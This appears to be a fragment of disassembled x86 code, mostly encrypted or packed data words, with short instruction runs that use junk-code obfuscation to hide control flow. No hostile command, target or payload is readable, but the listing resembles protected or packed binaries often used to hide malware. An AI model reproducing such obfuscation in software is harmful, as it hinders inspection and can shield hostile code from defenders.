		dd 370D1961h, 0FDE8EFA8h, 557953BEh, 0C9F13E09h, 0A2808AF5h
		dd 133A135Ch, 3649D274h, 0D92576B7h, 228C0AB9h,	0ECDB642Ch
		dd 0BCDA8DE8h, 0D93E4CD4h, 931867h, 35AA0000h, 3D01216Ah
		dd 0AB8B9DECh, 33D6548h, 8CD42A0Ah, 75E24729h, 22735CC3h
		dd 75A28DD1h, 0DF8E7945h, 192169BBh, 183E6837h,	0F2D2F5C2h
		dd 475F60D8h, 30996ED4h, 8A418DF5h, 4A74DB0Ch, 0FA7A310Ch
		dd 0EA67D92Fh, 76h, 0A80D35FCh,	0C375E2C0h, 5CB3F2C3h
		dd 29166452h, 0C8ED5FCh, 9666CAEFh, 2C7DC375h, 489EFECAh
		dd 2467237Fh, 5B1806A2h, 750D8A7Eh, 16B889C3h, 750D3D83h
		dd 94E536C3h, 7BA788B4h, 0D299F3Ah, 0D92AC375h,	185BB288h
		dd 5A78524Eh, 0DAF35C04h, 6645A4FAh, 75E23C81h,	0A620A3C3h
		dd 0B09AA56Dh, 0B87D4C92h, 0C375E230h, 1483E233h, 67D98E7Ch
		dd 148h, 65521A00h, 0EE3E0955h,	1DCEF2C8h, 0BBE7487Dh
		dd 54A5959Dh, 0CD0D3A19h, 85886403h, 63462CDh, 9D0AAF27h
		dd 5AC95D13h, 0C2CA3509h, 0C5C76CFCh, 52D89DE1h, 7CC692D3h
		dd 0EF398B0Fh, 123A01CFh, 8781EECCh, 226C5BA7h,	0B0F9C614h
		dd 5112B288h, 57D9FC29h, 6CC692D3h, 2CA43203h, 0D0FA0B14h
		dd 3F7E5CE0h, 31F92AACh, 92A91CE4h, 65CBEEC6h, 7EC692A9h
		dd 30735C2Dh, 65EBCBDDh, 0F243EE66h, 117DE61h, 2E80000h
		dd 351531EEh, 444AE2E4h, 2B131CA6h, 93D58BD3h, 42BF1A50h
		dd 0B7C95CA0h, 310D5178h, 91A991D8h, 0BB137C4Dh, 5897B794h
		dd 340A696Dh, 0B58B83ACh, 1F6E4C8Ch, 5A99F0CEh,	3D6F5577h
		dd 0D5F5D619h, 7F57A089h, 9FBFE8B7h, 3B8D6A43h,	38C69289h
		dd 0FB408CEFh, 46B18DD1h, 0A66E6046h, 9289AD13h, 5F4BA6C6h
		dd 0F3CF2E7Fh, 0DE6A6CDFh, 6360E8CEh, 61F223F1h, 44D3h
		dd 79A48B00h, 0CD28015Dh, 236A359Dh, 8FEE3F03h,	0B618FBF0h
		dd 75E34D63h, 1C0B66C3h, 2E93EF38h, 0C375E25Ah,	45B7D390h
		dd 0C8EDE5A6h, 0C375E3B0h, 0A66EE233h, 54AA9299h, 0CE0C3A75h
		dd 1B5A99F0h, 59h, 56EE024Fh, 75E2FD43h, 54A5F6C3h, 0E872A772h
		dd 2677C95Ch, 99BDEFD8h, 9EA0E8B7h, 0E606FD40h,	6D5EC692h
		dd 0E9CDDF6Dh, 0A1648867h, 0CFDE6129h, 7BBA93EFh, 83350B9Eh
		dd 0A3FFC8CCh, 0C527454h, 15E7E368h, 399C36D7h,	0C2B16B96h
		dd 0F0480253h, 0DA914D3Eh, 4D83E200h, 31EE029Dh, 82EB3717h
		dd 15BC19B1h, 17C96433h, 0FC3F1F08h, 9C943E0Fh,	30BE2B4h
		dd 96E8CB6Ah, 0F15F7FA9h, 1A2562AAh, 0E0482D2Dh, 0E3C69B49h
		dd 64B5818Ch, 49E15762h, 91E2C69Bh, 84360E40h, 28DFD3CBh
		dd 7FC23C7Fh, 0ED2F15E6h, 0ACFC9ACDh, 0A9F65A7Ch, 4F775F7Fh
		dd 4F95866Ah, 714C9DE8h, 0C7E72611h, 7214C7FBh,	94BDEEB1h
		dd 0D41DF6CAh, 5497E0B4h, 28112F79h, 2209C710h,	0E5F6C4EAh
		dd 3, 526F2335h, 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h
		dd 4FB886B4h, 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h
		dd 4E8B68h, 240C8900h, 0C181E189h, 4, 8704E983h
		db 0Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	6BDBh
		mov	[esp], esi
		push	5EE512Ch
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		add	dword ptr [esp], 269204A8h
		pop	dword ptr [esi+8]
		push	eax
		mov	eax, 269204A8h
		sub	[esi+8], eax
		pop	eax
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_545FF7
; ---------------------------------------------------------------------------
		dw 0ABABh
		dd 9A51E3E5h, 0D8C3991Eh, 55DBB840h, 0C50305EEh, 8AC9E0FFh
		dd 19ED4016h, 6C8C0777h, 0D28F6743h, 2FA97A6Dh,	1C88783Ah
		dd 0A8797EBCh, 35316CA0h, 0B09C7C0Ch, 48945D3h,	0AF9B3555h
		dd 53795238h, 56523E4Fh, 8D620CB2h, 0B9A654B0h,	8FE44726h
		dd 4D280CEEh, 36875E71h, 68066043h, 3EB52805h, 96AE1A6Dh
		dd 79FA7658h, 87607ABFh, 8D8D2092h, 5EE5774h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 10C35040h, 0DCF414F3h
		dd 0B3FFE985h, 0F5B50B7Ch, 8905E725h, 0E723158Dh, 1BD8905h
		dd 0C705E72Ch, 0E708B985h, 73A405h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 33FDC9DEh
		dd 0ACEA0CA4h, 761A5DBEh, 9985C742h, 5E70Ch, 66000000h
		dd 958BF18Bh, 5E72249h,	17DB5FFh, 6E905E7h, 6B000000h
		dd 0CD4626B2h, 3865B847h, 95FF0DA2h, 5E732CDh, 6A24B3h
		dd 1A1D95FFh, 0C08B05E7h, 3B923BEBh, 0D8B4C977h, 47475E9Bh
		dd 634A77A6h, 0F1D3369Eh, 2629B4E8h, 72EDFFC3h,	7E25EEC1h
		dd 188CC815h, 0CCE8B9B9h, 5C282323h, 0F7B41ECFh, 8E6C7B49h
		dd 47B4AE07h, 0C0E4BECDh, 7804EBB0h, 0E9411092h, 5BAh
		dd 0B997A7EDh, 0B69AB892h, 0B098A0E9h, 4C9CA0EBh, 4D83BBE7h
		dd 11195160h, 2D182729h, 33182729h, 36163D13h, 0D9893810h
		dd 9BB574FCh, 0AA1C0FC6h, 72547A52h, 96D9F92Dh,	614896B4h
		dd 0C7F33C02h, 7E22ADFEh, 7569D55Bh, 459DEEC3h,	0C710CF34h
		dd 0D3FA4509h, 4B5DB0F3h, 0E028176Bh, 0AEAE12A7h, 54A5C375h
		dd 0C2C8370Bh, 0AE483085h, 0F1D5C375h, 0D3BC8DD1h, 3619B182h
		dd 9DEC3208h, 0F497605Eh, 705676D2h, 621C14D8h,	0BF6A0572h
		dd 0DA1A8253h, 757EC780h, 0EF33133Ah, 5B705F9Eh, 0F3A15C72h
		dd 9139061Dh, 7530BC04h, 1566B7C3h, 1F3F6C3Bh, 8DC9F4C3h
		dd 0C527AC5h, 0A29CDF2Eh, 0D517155h, 0F4CAE822h, 337F1BC0h
		dd 21073FB7h, 0AA8A836Ch, 552D7554h, 0B32201CCh, 0B090B517h
		dd 3E17311Eh, 43453A22h, 0D31263BFh, 3916361Dh,	9B3ED7E7h
		dd 0C375C615h, 585DD2Eh, 0C8EC3FDEh, 0B787B0FFh, 0ED31026Bh
		dd 756CA308h, 0CAF03EC3h, 0BC808BF4h, 585465Eh,	0BA1BE9B0h
		dd 0FCCD5397h, 0A8B0D689h, 67D89838h, 6D6D5AE5h, 955C3111h
		dd 5E208E69h, 60552E0Dh, 11000000h, 6547A52h, 75E2CFB3h
		dd 0B145EC3h, 0EDFC3F1Fh, 387038EDh, 0D0F3CBD4h, 398F6435h
		dd 3AC375E6h, 851F8AE9h, 0B667D98Ah, 248CBFFEh,	200368A1h
		dd 15Bh, 78526F00h, 1738705Ah, 6564BCD7h, 0E0CF3372h, 49B684AAh
		dd 57207E5Eh, 14369234h, 99B39C36h, 0E4C7AB5h, 321A212Fh
		dd 526C3C2Ch, 0D37C5664h, 0A28BD7E7h, 0C8577F43h, 56BDF8DEh
		dd 64085674h, 1E16D3F7h, 0F5805D23h, 8FAFF9ACh,	2A095AB3h
		dd 0B4FDDBC7h, 8E95BB84h, 7262B89Eh, 7F996F4Ah,	499AC375h
		dd 3C1A076Ah, 0B8E7CAECh, 6FB39Ch, 0EFD82608h, 30449AA2h
		dd 4F832FABh, 71C9FA9Ch, 7B85CA30h, 9D086BBEh, 67D89013h
		dd 8FD1h, 66A68900h, 0D0137A40h, 3C6A3586h, 0D9250900h
		dd 0B5BA7F0h, 75E2DAAEh, 0BF88D9C3h, 1129117Ch,	0FCB5E2CDh
		dd 75E257D9h, 32036CC3h, 4E4803ECh, 4A86B4E2h, 478EB59Ah
		dd 0D81EEC2Fh, 59A5F651h, 0CFEF3970h, 0A19981ECh, 623B125Dh
		dd 75BDE157h, 4091E2C3h, 9D3DEE7Ah, 0D92D2DB7h,	573F67h
		dd 528B0000h, 3F085664h, 87F0CEEEh, 135CA29Ah, 4CC81626h
		dd 4B377B1Fh, 854D8600h, 75E24830h, 3B7A4BC3h, 7CECEAD4h
		dd 9EBEEFB0h, 5C0A6940h, 47447852h, 230C2C79h, 44298CD2h
		dd 0DBC375E2h, 7AC50E88h, 0DA330F4Fh, 8E940C9Bh, 0FE4167D9h
		dd 0D0AD88AEh, 1, 55655292h, 0D5F65909h, 6540A9F5h, 0E2381E0Eh
		dd 3F8D0DDEh, 6906CAF2h, 70C88283h, 0CD8134Bh, 0DFCF2220h
		dd 0E336BCFFh, 0C95D6F26h, 1E3E65CAh, 398AE9C0h, 4FBC0491h
		dd 66B7C692h, 0DE3C000Bh, 1760BE8Fh, 103F1135h,	0E64A6F38h
		dd 0FDC6924Fh, 0BA7F43ACh, 0C6924F34h, 9F2DAD1Eh, 98A7A98Dh
		dd 7C24AEB0h, 4F9F61B4h, 4B94C692h, 924F1AEEh, 0EDC819C6h
		dd 5C62AA95h, 3008317Eh, 0A6969DEAh, 0EC3E7158h, 1FCCF0CEh
		dd 38A3377Bh, 341A329Eh, 0B6868D92h, 2E220168h,	0F1E127B9h
		dd 1612561h, 92BD0000h,	15994BAh, 0C0A80D35h, 0C3C375E2h
		dd 0E00CB3F2h, 818A953Dh, 310C5DA1h, 8545FDA5h,	0D028B0h
		dd 0FDFA5F9Eh, 0FAC95C61h, 6FB38BB7h, 0DD85CD1Eh, 924970F8h
		dd 0C32273C6h, 0B698B0FFh, 0BB9B8D9Ah, 2E301867h, 8B0FBCD0h
		dd 1CFEF39h, 0F1E31282h, 763261h, 35B40000h, 0AB0B206Ah
		dd 7CF82A10h, 0C8217D4Eh, 7A19D6EDh, 36234550h,	96B9C375h
		dd 993C96B4h, 0C3753717h, 13E0C32Ch, 94EACCDCh,	0E0D6CBBCh
		dd 0D5EDBE0h, 951BDE3Ch, 67C375F0h, 0D916E2E4h,	81DDF924h
		dd 0F07CC4D1h, 2677C375h, 92B09AD5h, 74410941h,	0C375F08Ch
		dd 7F77B687h, 75F1065Ah, 0CFFB44C3h, 8EDFAC8Fh,	0A686CC4h
		dd 0A1F67DE7h, 94CD8E42h, 1D000000h, 0C0A80D35h, 0C3C375E2h
		dd 0E00CB3F2h, 42ED953Dh, 0A1F6757h, 0D8BDA3E3h, 0C8DDBAF9h
		dd 8DC95C3Bh, 37115EBCh, 3A123917h, 3EB5D56Dh, 2FB6BDF8h
		dd 922DE64Ah, 43ACFDC6h, 0DDF9240Bh, 754DA881h,	922C3580h
		dd 4076A0C6h, 3B1B0D7Ah, 7E18C3E7h, 7D1D4ECCh, 68D0FD2Fh
		dd 2570FF34h, 26DD735Ch, 0DB83CBCAh, 92E40AFEh,	0FD3809C6h
		dd 3CEA24F1h, 0B081CC83h, 2B0B1D6Ah, 9E38A3D7h,	0B7918E62h
		dd 2E7C4B97h, 8ADB3208h, 8A8411B9h, 61C2B164h, 2683810h
		dd 12A72FEEh, 0C9643A18h, 2606012Eh, 0BAA709ACh, 53BCC69Bh
		dd 0C52A310h, 0A592EC44h, 30327455h, 0A88E9EF5h, 0ADB19BA0h
		dd 0F03E0151h, 5695F4CAh, 9AA789F1h, 0C9F1980Dh, 2413517Bh
		dd 92E3CA10h, 97B791BEh, 92D7C4Bh, 0BCDA8135h, 361A3C6Ch
		dd 0C31F3F69h, 398h, 6F23CE00h,	0A506652h, 0F7CBEB3Dh
		dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h
		dd 7D4179A6h, 0E43A1832h, 4E486802h, 24890000h,	4BF5724h
		dd 1000000h, 5F04247Ch,	81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 2B68243Ch, 89000062h, 3DBF241Ch, 8171C22Ah
		dd 675652F7h, 9FBB536Bh, 295E456Eh, 814F5BDFh, 71B610EFh
		dd 694968B6h, 24890000h, 24048324h, 15685B04h, 89000000h
		dd 438F243Ch, 2434FF08h, 4C4815Bh, 0FF000000h, 835F2434h
		dd 4E904C4h, 0A2FFF920h, 0B711681h, 0F8B8B699h,	305EE5Ch
		dd 52E0FFC5h, 0E766855Fh, 8D540B08h, 4566A503h,	5704F385h
		dd 6E3525BFh, 2D222FB0h, 0A12346EEh, 0A364CE01h, 1463AFDFh
		dd 647E3956h, 46FDE91h,	0A96AB6E1h, 270A606Ch, 14581BB3h
		dd 0E87A765Ah, 812AAF1Dh, 1C664570h, 0CE79E800h, 4F0668C3h
		dd 222580ACh, 9A095CE4h, 4100BAC5h, 0B51F8B86h,	8F0D22E9h
		dd 386EB3B7h, 2E5907BEh, 502143CFh, 0E171ED53h,	511E09C8h
		dd 0A818036Dh, 8D724824h, 0EE5EAF8Dh, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 5AC9F5DBh, 0B866570Eh, 8D89812Ch, 5E72315h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 25C35343h, 2C719D8Bh
		dd 85C705E7h, 5E708B9h,	5DE0h, 0C7FE8B66h
		dd 0E70C9985h, 5, 0FFF48A00h, 0E72CC5B5h, 51006A05h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 5227477Eh, 2C95A3F0h, 0BF66A538h, 8B66CBD3h,	0CD95FFDEh
		dd 8B05E732h, 0E7226185h, 0FF006A05h, 0E71A1D95h, 0EBC08B05h
		dd 0BD39576Ch, 0D1A5190Ah, 5C994116h, 523B8FCEh, 0EF5234BCh
		dd 42515BF8h, 0E395A8B0h, 0B9534581h, 5D203572h, 0EB740A46h
		dd 0D19DE545h, 26BEFFFEh, 6153CD9Ah, 915FC920h,	5DF0CC27h
		dd 0BD162516h, 51569831h, 62F2F7B7h, 99C23A06h,	0B5C6E15Fh
		dd 6510E36Eh, 0F514F289h, 8380DECCh, 9FA15158h,	5005841Eh
		dd 0D873223Eh, 0B0467390h, 0C004EB6Ch, 0E95ECEF4h, 549h
		dd 0C50B3379h, 0C20E2C7Eh, 0DC0C4C75h, 0D8705477h, 0D9774773h
		dd 0BDE5BDF4h, 0B9E4B39Dh, 0A7E4B39Dh, 0AAE24987h, 6D654484h
		dd 9BBDE048h, 0C6B0E3C6h, 6547A52h, 7C9F139h, 0F0CE1038h
		dd 487848E0h, 7A4F5A3Fh, 0CCF4D43Bh, 59A6F4C2h,	34156951h
		dd 7B449AEBh, 0F45B7353h, 58B18DC9h, 335A251Dh,	4A133597h
		dd 75F7996Fh, 78499AC3h, 7C424BD0h, 1038092Dh, 0DC22020Bh
		dd 4A90A493h, 3806367Dh, 0A6F4C0CFh, 9D6C4C59h,	4462CCCAh
		dd 7451F397h, 7DAFF454h, 0CBB00559h, 52C375F7h,	138D9733h
		dd 3167D979h, 79h, 0A80D35B5h, 0C375E2C0h, 6EBFF2C3h, 8006F4Eh
		dd 9165D826h, 0CC375E2h, 0BD573D5Dh, 8F67D98Eh,	1, 0F87D35DBh
		dd 0EE34D57Ah, 0CCDE3570h, 7FC090EEh, 0C532082Ch, 48A1FDDDh
		dd 8F20277Fh, 4AF57A95h, 2006046Bh, 9ABAEDDAh, 0F690FB44h
		dd 7852705Ah, 509365B0h, 4790C375h, 4943E864h, 34D56D65h
		dd 0C4AC0949h, 0DFC375F7h, 8E30B48Eh, 0CF0F3B76h, 955B9AF3h
		dd 566452F5h, 0CFEF3F08h, 5B70DF87h, 0E2CABE7Bh, 0F8C9C375h
		dd 0BA2145BDh, 0B4828C1Ch, 0B99D8F94h, 2D2D1A65h, 0ADAD9AA5h
		dd 7276651h, 0A281D23Bh, 0BFDBF05Ch, 0D98C4BD5h, 641967h
		dd 0EEB10000h, 0A39B86BEh, 0E13D0E5Fh, 0CBC7B688h, 0AB85099Ch
		dd 64521E48h, 0F23F0856h, 0E29266B3h, 4091C375h, 0D5C2B77h
		dd 0CBF33F8Dh, 0CAF03E05h, 0BC808BF4h, 0B1D9F25Eh, 0D98C49ABh
		dd 451B67h, 52AF0000h, 3F085664h, 0DC84CEEEh, 75E277F9h
		dd 0C0230CC3h, 0DA5202FEh, 79BFF190h, 0C796D5BEh, 13961C3h
		dd 78521BCFh, 0CCB1045Ah, 53C375E2h, 12829630h,	0C367D98Eh
		dd 0EECABE1Bh, 0F8C9C375h, 1C0BDh, 52820000h, 3E095565h
		dd 0CEF2C8EEh, 0E22F7D1Dh, 737976DAh, 7AA19F8Ch, 0DC2D7142h
		dd 31FEDBF3h, 26C95D13h, 6752FDD5h, 0C3220B57h,	0B698B0FFh
		dd 0BB9B8D9Ah, 34020C13h, 4E3489F9h, 0DBC692D3h, 0A18EECF0h
		dd 6D4D5E78h, 93EF3811h, 0E04A4CFFh, 0C1C56A3Ah, 0B48AB2FFh
		dd 0B6290455h, 0BF98B010h, 0B75D050h, 0C08ADB7Ch, 38102E7Fh
		dd 6AE6C516h, 0AEAE95BAh, 0D73A7950h, 0A28DD1F5h, 976446Ah
		dd 91DE3C1Ch, 624D91A9h, 20AB0634h, 0DD8E14A6h,	193D6FBDh
		dd 7940D037h, 960C61F2h, 46000001h, 0A72FEE02h,	1EE237FFh
		dd 15C375E2h, 3300E9C4h, 0D9C95CF7h, 5D784976h,	123A8659h
		dd 0AB185BA4h, 6D48705Ah, 0C692A89Bh, 126C4F98h, 0DC3E325h
		dd 0FAC0E626h, 67BB9B8Dh, 73BC8343h, 5179684Bh,	4943EC94h
		dd 73301965h, 0C692A88Dh, 0A8D65A7Fh, 9CEDC692h, 828FE233h
		dd 34147BBAh, 0B597B812h, 1DFCB298h, 0CE1FF6B7h, 0B5DE90F0h
		dd 297E15F1h, 70579DD8h, 61F23CE0h, 7DECh, 0ED02E600h
		dd 0D4E9E127h, 2A261415h, 52429490h, 933B04F0h,	755E6206h
		dd 0E530F8C3h, 0C3755F13h, 0DE9ACE10h, 0B6981E9Dh, 6DB50665h
		dd 7B030BCAh, 0C52A353h, 8DD1FB44h, 644777A2h, 757A3D83h
		dd 0C857FFC3h, 82BAE1DFh, 2D1C6DB1h, 0A786D4E4h, 0B0751544h
		dd 589BA3EFh, 8DC5C625h, 0C527AC5h, 7B304831h, 62B3C375h
		dd 0AB2DEEh, 0DE610000h, 0CC94EAD0h, 757A07E9h,	0E2331CC3h
		dd 0EE02D783h, 50FFA72Fh, 230A5066h, 0E83267C0h, 0E637C95Ch
		dd 597DAF98h, 3807CFF7h, 99F0CE10h, 92E754DCh, 0A006FC6h
		dd 26F3DB24h, 0C692E752h, 0CE250051h, 81B9E6DEh, 32A993B9h
		dd 0FBC42972h, 3A8E2BD3h, 39C69227h, 0C0B58DE8h, 0C6922675h
		dd 0D27E1853h, 4874D4FAh, 0BD81A5E7h, 7E72116Ch, 3E68379Fh
		dd 88EBC218h, 8723F7C2h, 0DE20CC83h, 5B73F7FFh,	0F780237Bh
		dd 0A897EB34h, 7C005E60h, 0E71BCF4h, 1E3946CAh,	0F6D72B13h
		dd 731746A5h, 20AA6B81h, 0B2160195h, 5BF5C6C2h,	56EE02B7h
		dd 75E2FD43h, 54A5F6C3h, 0D1F24A72h, 0AC96262h,	0C3573073h
		dd 80C96449h, 0C1C6BB7h, 0F19262Ah, 0B398A72Fh,	37604F93h
		dd 81D23B07h, 4C745CA2h, 9B858769h, 70B39CC6h, 7814DE97h
		dd 0C4C2851Bh, 0CAEC3C03h, 983D95F4h, 0A27B1A10h, 8CE3C213h
		dd 8996BA9Ch, 1463BF9Fh, 96B91135h, 7C4D91A9h, 35BDC101h
		dd 2DCB107Dh, 1954BD60h, 0A8E04046h, 0ABFD4A86h, 5DAEAE95h
		dd 35A01h, 238C0000h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h
		dd 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h,	4179A691h
		dd 3A18327Dh, 895302E4h, 4BE56E3h, 1000000h, 0EB835EF3h
		dd 241C8704h, 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 68240C89h, 1D13h, 68242C89h,	5EE5F2Bh, 83240C8Bh, 496804C4h
		dd 8900002Fh, 4812424h,	424h, 0EC835D00h, 240C8904h, 8B08458Fh
		dd 8953242Ch, 4C381E3h,	81000000h, 4C3h, 241C8700h, 240C8B5Ch
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0F9190AE9h, 0F87EBEFFh
		dd 0B5BDB240h, 63E9B813h, 0C50305EEh, 0EECCE0FFh, 0B1AC5210h
		dd 4DF06316h, 747D52F1h, 52C250B0h, 4D724D69h, 0DF904AFEh
		dd 846D541Ch, 9CFC4CA8h, 0AD0016D2h, 172E662Fh,	2B285926h
		dd 4EB305Fh, 390A7AE4h,	568E9h,	98BEEA00h, 83A3EBB0h, 81B9E64Dh
		dd 85A9E04Fh, 84B2FC4Bh, 164A7944h, 113E1228h, 113E122Ah
		dd 6F341434h, 0F237193Dh, 8673C5D0h, 570C69Bh, 547A5255h
		dd 0C9F13906h, 0CE103807h, 0A18587F0h, 0E02A755Dh, 4EADFCC2h
		dd 370B2B63h, 47521A48h, 0C375E2F1h, 8C29A1F2h,	0C375E224h
		dd 0DC8FEE3Fh, 183E6EBAh, 2226B30h, 86A6E748h, 0DE1251B8h
		dd 26745471h, 94EAD2D9h, 0AA5F7BE0h, 9642CD92h,	7549BD03h
		dd 1D65B6C3h, 5E9DA439h, 507A5A73h, 3580DDCFh, 0C3758343h
		dd 0D8267740h, 91BEB2F1h, 103F97B7h, 0EAD41727h, 7583A217h
		dd 2CAA3DC3h, 0D92DAC24h, 529867h, 352A0000h, 0DE1D3D6Ah
		dd 0A9F5D9F3h, 75E26ED4h, 0EAECFFC3h, 0D98E6EE6h, 15E67h
		dd 35680000h, 0DC1F3F6Ah, 0A9F5D5F1h, 82174C5Eh, 0C375E23Eh
		dd 479BE435h, 310D5178h, 21830746h, 5B0BC5E5h, 0DBF3CBF4h
		dd 75E20AFEh, 0FD3809C3h, 9C8EB696h, 2FE36DBEh,	8566452h
		dd 0F3CFEF3Fh, 0DE6A6CDFh, 38E0EAD0h, 75E22B9Dh, 9CDF28C3h
		dd 0FDC1CB50h, 4F6956A1h, 0C7267440h, 0B283A3E8h, 0AF2BE06Ch
		dd 0D98C3BA5h, 912967h,	52BD0000h, 3F085664h, 0A79C3F2h
		dd 0B344F134h, 0FAD31C62h, 90BB84DAh, 915A6E4Ch, 0F8EA45E9h
		dd 0F36CC440h, 340E3AAEh, 0D34326FCh, 39A88BF0h, 37073391h
		dd 36043219h, 0A88C9FE8h, 71DE8652h, 0A7367555h, 254EE623h
		dd 30083192h, 2348D4EEh, 75E52296h, 87D021C3h, 856FF1A4h
		dd 627D67D9h, 55000000h, 0F3A008ADh
		dd 52A3C375h, 0D5290D1Fh, 3521B9F4h, 3F03236Ah,	76A08FEEh
		dd 30360E40h, 5D6207F2h, 0D01F6342h, 0B87DBFBh,	0BCEA4640h
		dd 529EB29Eh, 0B1045A78h, 0C375E2CCh, 404F7557h, 0E8D72B74h
		dd 6EBF83A3h, 0D42A0A03h, 0D466606Bh, 5D4AD591h, 0EDC8217Dh
		dd 5CF4DCFAh, 6867D98Eh, 1, 5565527Ah, 0CBF65909h, 135EAFF3h
		dd 0E6C71B3Bh, 5760A887h, 91246701h, 0C3752C2Fh, 9D83DB24h
		dd 0F2C819E3h, 2F7D1DCEh, 0A216A3E2h, 0A1C3750Ah, 32C90750h
		dd 22F7DFBEh, 0C95DFB65h, 4379A48Bh, 37166448h,	0FB3687E6h
		dd 60BE8FCFh, 3F113517h, 0BC163810h, 479BBB93h,	463B0766h
		dd 0C69DFBF0h, 5BE991DAh, 54E36D71h, 230C5274h,	0D5F9C5E9h
		dd 98A76066h, 0B4848DB3h, 0E8360766h, 5E7CAE81h, 2818301Fh
		dd 0AA83DFFFh, 8010F759h, 4C61F175h, 17Bh, 31EE0206h, 0E2E43515h
		dd 1831153Ah, 0C3CB5BECh, 64BA8BF8h, 74412605h,	61C95C11h
		dd 0B591BE10h, 5604995h, 0FDDAF23Dh, 0C6979336h, 0EE526743h
		dd 0E5C69268h, 25644B94h, 83EC3D01h, 0C2B603CBh, 0C1C69268h
		dd 90BFB5F0h, 184896B8h, 0ED311537h, 5A72A19Ch,	0D9822674h
		dd 153913B1h, 0E5240B3Bh, 51ACFDC1h, 0F2044ADAh, 507A61h
		dd 0CF500000h, 413782C3h, 42C69274h, 95C52071h,	0A42EED02h
		dd 75E37F11h, 0A32B74C3h, 54AA8C9Ch, 75C83675h,	0C375E283h
		dd 0D2280E1Eh, 0BD81A1E5h, 0A20C8AC1h, 0CD2FAB18h, 40557D1Eh
		dd 0C375E328h, 25D67A4Bh, 0C7h,	5354D169h, 0F44A48E1h
		dd 6A3521B9h, 0EC3D0121h, 1FEF291h, 14E2D04h, 1F74970Fh
		dd 0C0D5FDCEh, 0C95C46DBh, 8EC04698h, 85F139F7h, 7E5C62AAh
		dd 0B780DE2Fh, 3619B195h, 80E93515h, 8880AFA5h,	1EE558A6h
		dd 36C692F0h, 0D5F75575h, 4CA05FF1h, 0F6590149h, 0FADFF7D7h
		dd 0C692F676h, 18C13C0Dh, 0CC83532Dh, 6825103Fh, 0A09BFB4Dh
		dd 5EAFF8C8h, 755DAE1Fh, 48D7FC2Ah, 38551D20h, 32CE1061h
		dd 397335C4h, 0A18EF033h, 477B4767h, 931F294h, 0A0ABC4ACh
		dd 0A38EDFC8h, 127B4777h, 5D40ACD3h, 0DEFC2A75h, 73C5D080h
		dd 70C8A0ABh, 0DF97D627h, 0B10ECBFAh, 565EA0C2h, 0EEF1F166h
		dd 270D7DC4h, 0AE7786DFh, 2DFF35Dh, 12A72FEEh, 0C9644713h
		dd 44B38FD8h, 0A0686244h, 9B87A315h, 5F49A0C6h,	1CF2E7Fh
		dd 0FDDAF25Dh, 0C081AA2Ch, 0CF137C2Bh, 7850BFFEh, 60B50856h
		dd 7B05B7BFh, 0C7E7240Bh, 5392FBh, 61F54D86h, 0EB07EC98h
		dd 8983EECDh, 8C9CABA5h, 340C54AAh, 77520A09h, 0B39EDDB7h
		dd 5266B498h, 6CC40189h, 2F0118C6h, 614CAFD5h, 62C90727h
		dd 0A536042Ah, 1Eh, 6E4B51E9h, 0AB8881DAh, 17C5A44h, 0A80D35A9h
		dd 0C375E2C0h, 94A2ECC3h, 0D7166746h, 6652D989h, 0EB3D0A50h
		dd 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h,	0F1D8277Bh
		dd 79A691EDh, 18327D41h, 5202E43Ah, 0C281E289h,	4, 4EA81h
		dd 14870000h, 34895C24h, 0E0895024h, 405h, 42D00h, 4870000h
		dd 3C895C24h, 0E0895024h, 405h,	4E88300h, 5C240487h, 0BF240489h
		dd 0BEB5625h, 0E7C1DFF7h, 0BE78102h, 534D0C7Fh,	0B71DA8BBh
		dd 4BD3F733h, 0D1FC381h, 0E3C15628h, 97F38102h,	99DC995h
		dd 814F5BDFh, 0E4356EC7h, 4EC83B1h, 81242489h, 42404h
		dd 68580000h, 267Ch, 8F243C89h,	34FF0840h, 0C4815824h
		dd 4, 5F2434FFh, 0E904C483h, 0FFF91357h, 6982B80Ah, 0C50305EEh
		dd 71DAE0FFh, 0A32413B7h, 3F1A6D3Dh, 83C45863h,	0DDD853B7h
		dd 0CA0B77B5h, 0ACD621FCh, 10EB39D3h, 4	dup(0)
		dd 13E9C08Bh, 47000000h, 0AAD27B67h, 9A3F409Bh,	8E55CD3Ch
		dd 2874B18Eh, 0BD8374B7h, 5E70D79h, 83097500h, 0E71C15BDh
		dd 19740005h, 0C08B5350h, 42DB8h, 0D5858900h, 8D05E713h
		dd 0E9AA349Dh, 5BD3FF05h, 15BD8358h, 5E71Ch, 53501774h
		dd 42DB8h, 0D5858900h, 8D05E713h, 0E9A7239Dh, 5BD3FF05h
		dd 0FCF38B58h, 32619509h, 0C08B05E7h, 8D8BD38Bh, 5E70A85h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 85C35545h
		dd 0C9D53FC1h, 83F78B66h, 840F00F9h, 84h, 0D9958BF8h, 6405E715h
		dd 2C3D8Bh, 8D890000h, 5E72B89h, 840FFF0Bh, 68h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2AC35343h, 8B46BCE4h
